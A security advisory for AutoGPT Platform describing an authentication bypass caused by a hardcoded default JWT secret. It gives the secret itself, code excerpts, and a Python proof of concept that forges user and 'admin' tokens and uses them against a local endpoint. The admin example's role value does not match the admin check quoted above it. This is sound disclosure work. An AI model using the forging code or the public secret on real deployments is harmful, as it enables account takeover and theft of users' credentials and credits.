Skip to main content
Menu
Advisories

Hardcoded Default JWT Secret Enables Complete Authentication Bypass

GHSA-24Q6-6H89-F9P7Published Updated GitHub

Description

AutoGPT Platform shipped with a publicly known, hardcoded default JWT verification key (your-super-secret-jwt-token-with-at-least-32-characters-long) in both backend/.env.default and autogpt_platform/.env.default. Because HS256 is symmetric, anyone who knew the secret could forge valid JWTs for any user or for the admin role, bypassing all authentication and authorization without any user interaction. Upgrade to v0.8.0 or later.

Impact

On a self-hosted deployment that kept the default value, an unauthenticated attacker could impersonate any user, reading and changing their agent graphs, execution history, stored credentials and workspace files, and forge admin tokens for every admin-only route, including credit management and rate limits. They could also run agents billed to any user and drain users' credit balances.

Fix

Fixed in AutoGPT Platform v0.8.0.

A new install no longer ships a token-verification key already filled in, and a token signed with a shared secret is rejected outright.

Fix: #14519.

Fix evidence: 18fde1b9656c.

Upgrade to v0.8.0 or later. Version numbers in this advisory identify Platform releases, whose Git tags are autogpt-platform-beta-v<VERSION>, rather than the backend Python package version.

Workarounds

None.

---

Details

autogpt_libs/autogpt_libs/auth/config.py loaded the JWT key from the environment:

self.JWT_VERIFY_KEY: str = os.getenv(
    "JWT_VERIFY_KEY", os.getenv("SUPABASE_JWT_SECRET", "")
).strip()
self.JWT_ALGORITHM: str = os.getenv("JWT_SIGN_ALGORITHM", "HS256").strip()

.env.default shipped with:

JWT_VERIFY_KEY=your-super-secret-jwt-token-with-at-least-32-characters-long

Token verification in autogpt_libs/autogpt_libs/auth/jwt_utils.py:

payload = jwt.decode(
    token,
    settings.JWT_VERIFY_KEY,
    algorithms=[settings.JWT_ALGORITHM],
    audience="authenticated",
)
if admin_only and jwt_payload["role"] != "admin":
    raise HTTPException(status_code=403, detail="Admin access required")

With HS256, anyone who knew JWT_VERIFY_KEY could sign tokens with arbitrary sub, role and email claims, and a self-hosted deployment that copied .env.default to .env without changing this value used the publicly known secret. This is supported platform code.

The report was made against 94ebce7f633f. The single-container Docker image, published from v0.7.1, ships no default JWT key and uses one only during a legacy-auth migration the operator configures, so it is not listed as affected.

Proof of concept

import jwt, time, uuid

SECRET = "your-super-secret-jwt-token-with-at-least-32-characters-long"

# Forge a regular user token
user_token = jwt.encode({
    "sub": str(uuid.uuid4()),
    "email": "attacker@evil.com",
    "role": "authenticated",
    "aud": "authenticated",
    "iat": int(time.time()),
    "exp": int(time.time()) + 3600,
}, SECRET, algorithm="HS256")

# Forge an admin token
admin_token = jwt.encode({
    "sub": str(uuid.uuid4()),
    "role": "service_role",
    "aud": "authenticated",
    "iat": int(time.time()),
    "exp": int(time.time()) + 3600,
}, SECRET, algorithm="HS256")

# Use against any authenticated endpoint
import requests
r = requests.get("http://localhost:8006/api/v1/me",
                 headers={"Authorization": f"Bearer {user_token}"})
# → 200 OK with arbitrary user data

Full reproduction: python3 poc_ts_ag3_001.py --target http://localhost:8006 reproduce.zip

References

  • Fix commit 18fde1b965 (#14519, in v0.8.0)

Credit

Sunwoo Lee, Korea Institute of Energy Technology (KENTECH) Daeyoung Kang, Korea Institute of Energy Technology (KENTECH) Haeryong Park, Korea Internet & Security Agency (KISA) Hyuk Lim, Korea Institute of Energy Technology (KENTECH) Seunghyun Yoon, Korea Institute of Energy Technology (KENTECH)

Timeline

Reported 2026-05-16 · Triaged 2026-09-07 · Fixed 2026-09-16 · Published 2026-10-05.

References

GitHub · Significant-Gravitas/AutoGPT